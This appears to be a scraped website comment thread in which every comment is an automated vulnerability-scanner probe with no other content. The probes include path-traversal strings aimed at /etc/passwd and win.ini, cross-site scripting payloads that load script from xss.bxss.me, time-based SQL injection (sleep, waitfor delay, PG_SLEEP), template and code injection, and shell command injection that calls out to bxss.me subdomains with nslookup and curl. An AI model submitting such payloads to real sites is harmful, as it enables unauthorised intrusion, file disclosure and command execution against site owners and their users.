wrBEIRqX 1 мес

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

ooJpiued 1 мес

../..../..../..../..../..../..../..../..etc/passwd

wrBEIRqX 1 мес

1<script>KCGq(9364)</script>9364

wrBEIRqX 1 мес

../././../././../././../././../././../././../././../././../././../././etc/passwd

wrBEIRqX 1 мес

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

wrBEIRqX 1 мес

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4B%43%47%71%28%39%34%31%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

wrBEIRqX 1 мес

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

ooJpiued 1 мес

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

wrBEIRqX 1 мес

file:///etc/passwd

wrBEIRqX 1 мес

/\../\../\../\../\../\../\../etc/passwd

ooJpiued 1 мес

1<ScRiPt

OsVL(9938)</ScRiPt>

wrBEIRqX 1 мес

1<ScRiPt

KCGq(9051)</ScRiPt>

wrBEIRqX 1 мес

/WEB-INF/web.xml

ooJpiued 1 мес

../././../././../././../././../././../././../././../././../././../././etc/passwd

wrBEIRqX 1 мес

WEB-INF/web.xml

wrBEIRqX 1 мес

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9800></ScRiPt>

wrBEIRqX 1 мес

WEB-INF\web.xml

ooJpiued 1 мес

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

ooJpiued 1 мес

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

ooJpiued 1 мес

1<isindex type=image src=1 onerror=OsVL(9659)>

wrBEIRqX 1 мес

1<ScRiPt

KCGq(9555)</ScRiPt>

wrBEIRqX 1 мес

1<isindex type=image src=1 onerror=KCGq(9809)>

ooJpiued 1 мес

file:///etc/passwd

wrBEIRqX 1 мес

1<iframe src=’data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=’ invalid=’9796’>

ooJpiued 1 мес

1<iframe src=’data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=’ invalid=’9078’>

wrBEIRqX 1 мес

1<body onload=KCGq(9045)>

wrBEIRqX 1 мес

1<img src=//xss.bxss.me/t/dot.gif onload=KCGq(9296)>

wrBEIRqX 1 мес

1<img src=xyz OnErRor=KCGq(9984)>

ooJpiued 1 мес

/\../\../\../\../\../\../\../etc/passwd

wrBEIRqX 1 мес

1<img/src=«>» onerror=alert(9416)>

wrBEIRqX 1 мес

%31%3C%53%63%52%69%50%74%20%3E%4B%43%47%71%289756%29%3C%2F%73%43%72%69%70%54%3E

ooJpiued 1 мес

/WEB-INF/web.xml

ooJpiued 1 мес

WEB-INF/web.xml

wrBEIRqX 1 мес

1\u003CScRiPt\KCGq(9708)\u003C/sCripT\u003E

wrBEIRqX 1 мес

1<ScRiPt>KCGq(9845)</sCripT>

ooJpiued 1 мес

1<body onload=OsVL(9689)>

wrBEIRqX 1 мес

1<input autofocus onfocus=KCGq(9585)>

ooJpiued 1 мес

WEB-INF\web.xml

wrBEIRqX 1 мес
ooJpiued 1 мес

1<img src=//xss.bxss.me/t/dot.gif onload=OsVL(9526)>

wrBEIRqX 1 мес

<a HrEF=jaVaScRiPT:>

wrBEIRqX 1 мес

1}body{zzz:Expre/**/SSion(KCGq(9452))}

wrBEIRqX 1 мес

1kC8dC
<ScRiPt >KCGq(9921)</ScRiPt>

ooJpiued 1 мес

1<img src=xyz OnErRor=OsVL(9704)>

wrBEIRqX 1 мес

1<WMAL01>ABNLB[!+!]</WMAL01>

wrBEIRqX 1 мес

1<ifRAme sRc=9097.com></IfRamE>

ooJpiued 1 мес

1<img/src=«>» onerror=alert(9336)>

wrBEIRqX 1 мес

1<a7adhBa x=9708>

wrBEIRqX 1 мес
wrBEIRqX 1 мес

1<athacBM<

ooJpiued 1 мес

%31%3C%53%63%52%69%50%74%20%3E%4F%73%56%4C%289705%29%3C%2F%73%43%72%69%70%54%3E

ooJpiued 1 мес

1\u003CScRiPt\OsVL(9602)\u003C/sCripT\u003E

ooJpiued 1 мес

1<ScRiPt>OsVL(9797)</sCripT>

ooJpiued 1 мес

1<input autofocus onfocus=OsVL(9316)>

ooJpiued 1 мес
ooJpiued 1 мес

<a HrEF=jaVaScRiPT:>

ooJpiued 1 мес

1}body{zzz:Expre/**/SSion(OsVL(9776))}

pHqghUme 1 мес

<esi:include src=«http://bxss.me/rpb.png»/>

pHqghUme 1 мес

${9999404+10000114}

ooJpiued 1 мес

1YTIku
<ScRiPt >OsVL(9955)</ScRiPt>

pHqghUme 1 мес

12345’«\’\»);|]*%00{%0d%0a<%00>%bf%27’💡

pHqghUme 1 мес

response.write(9001413*9553642)

pHqghUme 1 мес

’+response.write(9001413*9553642)+’

pHqghUme 1 мес

«+response.write(9001413*9553642)+»

ooJpiued 1 мес

1<WMRDAA>KELCB[!+!]</WMRDAA>

pHqghUme 1 мес

bxss.me/t/xss.html?%00

pHqghUme 1 мес

)

pHqghUme 1 мес

!(()&&!|*|*|

pHqghUme 1 мес

xfs.bxss.me

pHqghUme 1 мес

^(#$!@#$))******

pHqghUme 1 мес

’.gethostbyname(lc(’hittl’.’mvrqmawa506ec.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(98).chr(75).chr(109).chr(68).’

pHqghUme 1 мес

«.gethostbyname(lc(„hityx“.»qvcjetuv9c1d7.bxss.me.»)).«A».chr(67).chr(hex(«58»)).chr(118).chr(74).chr(101).chr(71).»

pHqghUme 1 мес

gethostbyname(lc(’hitjv’.’gbgnqwgle5145.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(97).chr(76).chr(105).chr(65)

pHqghUme 1 мес

«+»A».concat(70-3).concat(22*4).concat(111).concat(76).concat(114).concat(72)+(require«socket»
Socket.gethostbyname(«hitvt«+»kdapisga6610e.bxss.me.»)[3].to_s)+»

pHqghUme 1 мес

’+’A’.concat(70-3).concat(22*4).concat(99).concat(81).concat(120).concat(66)+(require’socket’
Socket.gethostbyname(’hitta’+’ezgrxgil07419.bxss.me.’)[3].to_s)+’

pHqghUme 1 мес

’A’.concat(70-3).concat(22*4).concat(110).concat(77).concat(117).concat(86)+(require’socket’
Socket.gethostbyname(’hitnd’+’vwqizlqu06f07.bxss.me.’)[3].to_s)

ooJpiued 1 мес

1<ifRAme sRc=9830.com></IfRamE>

pHqghUme 1 мес

’«()

pHqghUme 1 мес

’»

pHqghUme 1 мес

’&&sleep(27*1000)*midpat&&’

pHqghUme 1 мес

<!—

pHqghUme 1 мес

«&&sleep(27*1000)*hyxkaa&&»

pHqghUme 1 мес

’||sleep(27*1000)*ukcqtd||’

pHqghUme 1 мес

«||sleep(27*1000)*wxffan||»

ooJpiued 1 мес

1<atnHJXF x=9532>

pHqghUme 1 мес

;assert(base64_decode(’cHJpbnQobWQ1KDMxMzM3KSk7’));

ooJpiued 1 мес
pHqghUme 1 мес

’;print(md5(31337));$a=’

pHqghUme 1 мес

«;print(md5(31337));$a=»

pHqghUme 1 мес

${@print(md5(31337))}

pHqghUme 1 мес

${@print(md5(31337))}\

pHqghUme 1 мес

’.print(md5(31337)).’

pHqghUme 1 мес

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

pHqghUme 1 мес
pHqghUme 1 мес

/etc/shells

pHqghUme 1 мес

../../../../../../../../../../../../../../etc/shells

ooJpiued 1 мес

1<aMixI58<

pHqghUme 1 мес

c:/windows/win.ini

pHqghUme 1 мес

bxss.me

pHqghUme 1 мес

echo wpasek$()\ husmzi\nz^xyu||a #’ &echo wpasek$()\ husmzi\nz^xyu||a #|» &echo wpasek$()\ husmzi\nz^xyu||a #

pHqghUme 1 мес

&echo nfkzfn$()\ ntjurn\nz^xyu||a #’ &echo nfkzfn$()\ ntjurn\nz^xyu||a #|» &echo nfkzfn$()\ ntjurn\nz^xyu||a #

pHqghUme 1 мес

|echo fvdbqd$()\ wwcymg\nz^xyu||a #’ |echo fvdbqd$()\ wwcymg\nz^xyu||a #|» |echo fvdbqd$()\ wwcymg\nz^xyu||a #

pHqghUme 1 мес

(nslookup -q=cname hitfcvxiwxviu7350c.bxss.me||curl hitfcvxiwxviu7350c.bxss.me))

pHqghUme 1 мес

$(nslookup -q=cname hitayxhjfleqjacb38.bxss.me||curl hitayxhjfleqjacb38.bxss.me)

pHqghUme 1 мес

1’«()&%<zzz><ScRiPt >cJck(9687)</ScRiPt>

pHqghUme 1 мес

&nslookup -q=cname hitgvsqioedie45c9e.bxss.me&’\«`0&nslookup -q=cname hitgvsqioedie45c9e.bxss.me&`’

pHqghUme 1 мес

&(nslookup -q=cname hittyalvpomffcc43e.bxss.me||curl hittyalvpomffcc43e.bxss.me)&’\«`0&(nslookup -q=cname hittyalvpomffcc43e.bxss.me||curl hittyalvpomffcc43e.bxss.me)&`’

pHqghUme 1 мес

|(nslookup -q=cname hitfdavhrkdofb5b9b.bxss.me||curl hitfdavhrkdofb5b9b.bxss.me)

pHqghUme 1 мес

’«()&%<zzz><ScRiPt >cJck(9317)</ScRiPt>

pHqghUme 1 мес

`(nslookup -q=cname hitsmsrtrbyph6bcd1.bxss.me||curl hitsmsrtrbyph6bcd1.bxss.me)`

pHqghUme 1 мес

;(nslookup -q=cname hitymujiixloc1963c.bxss.me||curl hitymujiixloc1963c.bxss.me)|(nslookup -q=cname hitymujiixloc1963c.bxss.me||curl hitymujiixloc1963c.bxss.me)&(nslookup -q=cname hitymujiixloc1963c.bxss.me||curl hitymujiixloc1963c.bxss.me)

pHqghUme 1 мес

19794974

pHqghUme 1 мес

|(nslookup${IFS}-q${IFS}cname${IFS}hittzicsuxlkx4a111.bxss.me||curl${IFS}hittzicsuxlkx4a111.bxss.me)

pHqghUme 1 мес

&(nslookup${IFS}-q${IFS}cname${IFS}hitsheknmxtmf395ca.bxss.me||curl${IFS}hitsheknmxtmf395ca.bxss.me)&’\«`0&(nslookup${IFS}-q${IFS}cname${IFS}hitsheknmxtmf395ca.bxss.me||curl${IFS}hitsheknmxtmf395ca.bxss.me)&`’

pHqghUme 1 мес

../../../../../../../../../../../../../../etc/passwd

pHqghUme 1 мес

../../../../../../../../../../../../../../windows/win.ini

pHqghUme 1 мес

bfg3237%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3237

pHqghUme 1 мес

file:///etc/passwd

pHqghUme 1 мес

../../../../../../../../../../../../../../../proc/version

pHqghUme 1 мес

bfgx6620%C0%BEz1%C0%BCz2a%90bcxhjl6620

pHqghUme 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

pHqghUme 1 мес

../../../../../../../../../../etc/passwd%00.jpg

pHqghUme 1 мес

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

pHqghUme 1 мес

<%={{={@{#{${dfb}}%>

pHqghUme 1 мес

/../..../..../..../..../..//etc/passwd%00.jpg

pHqghUme 1 мес

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

pHqghUme 1 мес

<th:t=«${dfb}#foreach

pHqghUme 1 мес

/etc/passwd

pHqghUme 1 мес

%2fetc%2fpasswd

pHqghUme 1 мес

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

pHqghUme 1 мес

/.././.././.././.././.././.././.././../etc/./passwd%00

pHqghUme 1 мес

1}}«}}’}}1%>»%>’%><%={{={@{#{${dfb}}%>

pHqghUme 1 мес

../..../..../..../..../..../..../..../..etc/passwd

pHqghUme 1 мес

../././../././../././../././../././../././../././../././../././../././etc/passwd

pHqghUme 1 мес

dfb{{98991*97996}}xca

pHqghUme 1 мес

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

pHqghUme 1 мес

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

pHqghUme 1 мес
pHqghUme 1 мес

file:///etc/passwd

pHqghUme 1 мес

/\../\../\../\../\../\../\../etc/passwd

pHqghUme 1 мес

/WEB-INF/web.xml

pHqghUme 1 мес

dfb__${98991*97996}__::.x

pHqghUme 1 мес

WEB-INF/web.xml

pHqghUme 1 мес

WEB-INF\web.xml

pHqghUme 1 мес

«dfbzzzzzzzzbbbccccdddeeexca».replace(«z»,«o»)

pHqghUme 1 мес

1<ScRiPt >cJck(9754)</ScRiPt>

pHqghUme 1 мес

1<WMUQ0K>5LZTC[!+!]</WMUQ0K>

pHqghUme 1 мес

1<script>cJck(9950)</script>

pHqghUme 1 мес

1<script>cJck(9224)</script>9224

pHqghUme 1 мес

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%63%4A%63%6B%28%39%38%37%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

pHqghUme 1 мес

1<ScRiPt

cJck(9224)</ScRiPt>

pHqghUme 1 мес

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9575></ScRiPt>

pHqghUme 1 мес

1<ScRiPt

cJck(9563)</ScRiPt>

pHqghUme 1 мес

1<isindex type=image src=1 onerror=cJck(9252)>

pHqghUme 1 мес

1<iframe src=’data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=’ invalid=’9329’>

pHqghUme 1 мес

1<body onload=cJck(9009)>

pHqghUme 1 мес

1<img src=//xss.bxss.me/t/dot.gif onload=cJck(9702)>

pHqghUme 1 мес

1<img src=xyz OnErRor=cJck(9044)>

pHqghUme 1 мес

1<img/src=«>» onerror=alert(9009)>

pHqghUme 1 мес

%31%3C%53%63%52%69%50%74%20%3E%63%4A%63%6B%289598%29%3C%2F%73%43%72%69%70%54%3E

pHqghUme 1 мес

1\u003CScRiPt\cJck(9628)\u003C/sCripT\u003E

pHqghUme 1 мес

1<ScRiPt>cJck(9103)</sCripT>

pHqghUme 1 мес

1<input autofocus onfocus=cJck(9715)>

pHqghUme 1 мес
pHqghUme 1 мес

<a HrEF=jaVaScRiPT:>

pHqghUme 1 мес

1}body{zzz:Expre/**/SSion(cJck(9881))}

pHqghUme 1 мес

1LUraW
<ScRiPt >cJck(9859)</ScRiPt>

pHqghUme 1 мес

1<WQELDF>7RS83[!+!]</WQELDF>

pHqghUme 1 мес

1<ifRAme sRc=9362.com></IfRamE>

pHqghUme 1 мес

1<a13anbe x=9293>

pHqghUme 1 мес
pHqghUme 1 мес

1<aMfPfLp<

pHqghUme 1 мес

1

ooJpiued 1 мес

1

pHqghUme 1 мес

1

pHqghUme 1 мес

-1 OR 2+254-254-1=0+0+0+1 —

pHqghUme 1 мес

-1 OR 2+433-433-1=0+0+0+1

pHqghUme 1 мес

-1’ OR 2+779-779-1=0+0+0+1 —

ooJpiued 1 мес

1

pHqghUme 1 мес

-1’ OR 2+844-844-1=0+0+0+1 or ’KLfCvvmr’=’

ooJpiued 1 мес

-1 OR 2+573-573-1=0+0+0+1 —

pHqghUme 1 мес

-1» OR 2+866-866-1=0+0+0+1 —

ooJpiued 1 мес

-1 OR 2+913-913-1=0+0+0+1

ooJpiued 1 мес

-1’ OR 2+414-414-1=0+0+0+1 —

ooJpiued 1 мес

-1’ OR 2+756-756-1=0+0+0+1 or ’HejWX6Ax’=’

ooJpiued 1 мес

-1» OR 2+253-253-1=0+0+0+1 —

ooJpiued 1 мес

1*if(now()=sysdate(),sleep(15),0)

ooJpiued 1 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

ooJpiued 1 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

ooJpiued 1 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

ooJpiued 1 мес

1-1; waitfor delay ’0:0:15’ —

ooJpiued 1 мес

1-1); waitfor delay ’0:0:15’ —

ooJpiued 1 мес

1-1 waitfor delay ’0:0:15’ —

ooJpiued 1 мес

1al94mJLl’; waitfor delay ’0:0:15’ —

ooJpiued 1 мес

1-1 OR 348=(SELECT 348 FROM PG_SLEEP(15))—

ooJpiued 1 мес

1-1) OR 216=(SELECT 216 FROM PG_SLEEP(15))—

pHqghUme 1 мес

1*if(now()=sysdate(),sleep(15),0)

ooJpiued 1 мес

1-1)) OR 258=(SELECT 258 FROM PG_SLEEP(15))—

ooJpiued 1 мес

1pVHwGbLJ’ OR 767=(SELECT 767 FROM PG_SLEEP(15))—

ooJpiued 1 мес

1URcoDYDz’) OR 807=(SELECT 807 FROM PG_SLEEP(15))—

ooJpiued 1 мес

1e0GgPKNL’)) OR 139=(SELECT 139 FROM PG_SLEEP(15))—

ooJpiued 1 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

ooJpiued 1 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

ooJpiued 1 мес

’»

ooJpiued 1 мес

@@zOpoG

pHqghUme 1 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

pHqghUme 1 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

pHqghUme 1 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

pHqghUme 1 мес

1-1; waitfor delay ’0:0:15’ —

pHqghUme 1 мес

1-1); waitfor delay ’0:0:15’ —

pHqghUme 1 мес

1-1 waitfor delay ’0:0:15’ —

pHqghUme 1 мес

1W5Id3cUv’; waitfor delay ’0:0:15’ —

pHqghUme 1 мес

1-1 OR 217=(SELECT 217 FROM PG_SLEEP(15))—

pHqghUme 1 мес

1-1) OR 648=(SELECT 648 FROM PG_SLEEP(15))—

pHqghUme 1 мес

1-1)) OR 617=(SELECT 617 FROM PG_SLEEP(15))—

pHqghUme 1 мес

1S2oCMaEm’ OR 638=(SELECT 638 FROM PG_SLEEP(15))—

pHqghUme 1 мес

1f3RJHwK5’) OR 403=(SELECT 403 FROM PG_SLEEP(15))—

pHqghUme 1 мес

10e8gkZvf’)) OR 82=(SELECT 82 FROM PG_SLEEP(15))—

pHqghUme 1 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme 1 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

pHqghUme 1 мес

’»

pHqghUme 1 мес

@@rUcdA

wrBEIRqX 1 мес

1

wrBEIRqX 1 мес

1

wrBEIRqX 1 мес

-1 OR 2+120-120-1=0+0+0+1 —

wrBEIRqX 1 мес

-1 OR 2+35-35-1=0+0+0+1

wrBEIRqX 1 мес

-1’ OR 2+566-566-1=0+0+0+1 —

wrBEIRqX 1 мес

-1’ OR 2+228-228-1=0+0+0+1 or ’Xg24IsXR’=’

wrBEIRqX 1 мес

-1» OR 2+253-253-1=0+0+0+1 —

wrBEIRqX 1 мес

1*if(now()=sysdate(),sleep(15),0)

wrBEIRqX 1 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

wrBEIRqX 1 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

wrBEIRqX 1 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

wrBEIRqX 1 мес

1-1; waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1-1); waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1-1 waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1Dti1tGlo’; waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1-1 OR 279=(SELECT 279 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1

wrBEIRqX 1 мес

1-1) OR 72=(SELECT 72 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1

wrBEIRqX 1 мес

-1 OR 2+514-514-1=0+0+0+1 —

wrBEIRqX 1 мес

-1 OR 2+499-499-1=0+0+0+1

wrBEIRqX 1 мес

-1’ OR 2+215-215-1=0+0+0+1 —

wrBEIRqX 1 мес

-1’ OR 2+575-575-1=0+0+0+1 or ’lMHyzbqk’=’

wrBEIRqX 1 мес

-1» OR 2+680-680-1=0+0+0+1 —

wrBEIRqX 1 мес

1*if(now()=sysdate(),sleep(15),0)

wrBEIRqX 1 мес

1-1)) OR 570=(SELECT 570 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z

wrBEIRqX 1 мес

10«XOR(1*if(now()=sysdate(),sleep(15),0))XOR»Z

wrBEIRqX 1 мес

(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+’«+(select(0)from(select(sleep(15)))v)+»*/

wrBEIRqX 1 мес

1OsxxeiGQ’ OR 372=(SELECT 372 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1yMHICeDW’) OR 693=(SELECT 693 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1-1; waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1bwqxBMX7’)) OR 876=(SELECT 876 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1-1); waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1-1 waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1QKDe91MT’; waitfor delay ’0:0:15’ —

wrBEIRqX 1 мес

1-1 OR 751=(SELECT 751 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1-1) OR 241=(SELECT 241 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wrBEIRqX 1 мес

1-1)) OR 685=(SELECT 685 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

wrBEIRqX 1 мес

’»

wrBEIRqX 1 мес

@@xQfnU

wrBEIRqX 1 мес

1tGTI2bNL’ OR 245=(SELECT 245 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1jY1lIpPM’) OR 585=(SELECT 585 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

10qfnfJQI’)) OR 291=(SELECT 291 FROM PG_SLEEP(15))—

wrBEIRqX 1 мес

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

wrBEIRqX 1 мес

1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’

wrBEIRqX 1 мес

’»

wrBEIRqX 1 мес

@@iaMMm

ooJpiued 1 мес

1’«()&%<zzz><ScRiPt >p3CF(9217)</ScRiPt>

ooJpiued 1 мес

’«()&%<zzz><ScRiPt >p3CF(9955)</ScRiPt>

ooJpiued 1 мес

19381993

ooJpiued 1 мес

bfg6235%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6235

ooJpiued 1 мес

bfgx9979%C0%BEz1%C0%BCz2a%90bcxhjl9979

ooJpiued 1 мес

<%={{={@{#{${dfb}}%>

ooJpiued 1 мес

<th:t=«${dfb}#foreach

ooJpiued 1 мес

1}}«}}’}}1%>»%>’%><%={{={@{#{${dfb}}%>

ooJpiued 1 мес

dfb{{98991*97996}}xca

ooJpiued 1 мес
ooJpiued 1 мес

dfb__${98991*97996}__::.x

